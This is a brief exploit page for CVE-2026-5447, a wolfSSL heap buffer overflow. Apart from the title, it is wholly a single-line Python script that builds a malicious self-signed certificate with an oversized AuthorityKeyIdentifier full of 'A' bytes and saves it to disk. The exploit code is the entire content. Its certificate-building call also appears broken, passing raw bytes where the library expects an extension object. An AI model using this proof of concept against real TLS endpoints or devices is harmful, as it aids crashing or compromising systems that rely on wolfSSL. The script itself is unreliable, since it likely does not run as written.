CVE-2026-5447 wolfSSL堆缓冲区溢出漏洞

import os from cryptography import x509 from cryptography.x509.oid import NameOID from cryptography.hazmat.primitives.asymmetric import rsa from cryptography.hazmat.primitives import hashes, serialization from cryptography.x509.oid import ExtensionOID from datetime import datetime, timedelta # Generate PoC for CVE-2026-5447 # This script generates a malicious X.509 certificate with an oversized AuthorityKeyIdentifier # to trigger the heap buffer overflow in wolfSSL. def generate_malicious_cert(): # Generate RSA key pair key = rsa.generate_private_key( public_exponent=65537, key_size=2048, ) subject = issuer = x509.Name([ x509.NameAttribute(NameOID.COUNTRY_NAME, u"US"), x509.NameAttribute(NameOID.STATE_OR_PROVINCE_NAME, u"CA"), x509.NameAttribute(NameOID.LOCALITY_NAME, u"San Francisco"), x509.NameAttribute(NameOID.ORGANIZATION_NAME, u"PoC"), x509.NameAttribute(NameOID.COMMON_NAME, u"wolfSSL Exploit"), ]) # Create a buffer to cause overflow in AuthorityKeyIdentifier handling # The size confusion leads to writing beyond the allocated heap buffer. malicious_buffer = b'A' * 0x1000 # Build the certificate cert = x509.CertificateBuilder().subject_name( subject ).issuer_name( issuer ).public_key( key.public_key() ).serial_number( x509.random_serial_number() ).not_valid_before( datetime.utcnow() ).not_valid_after( datetime.utcnow() + timedelta(days=365) ).add_extension( x509.Extension( oid=ExtensionOID.AUTHORITY_KEY_IDENTIFIER, critical=False, value=malicious_buffer # Injecting payload ), critical=False, ).sign(key, hashes.SHA256()) # Write the DER encoded certificate to file with open("cve_2026_5447_poc.der", "wb") as f: f.write(cert.public_bytes(serialization.Encoding.DER)) print("Malicious certificate generated: cve_2026_5447_poc.der") if __name__ == "__main__": generate_malicious_cert()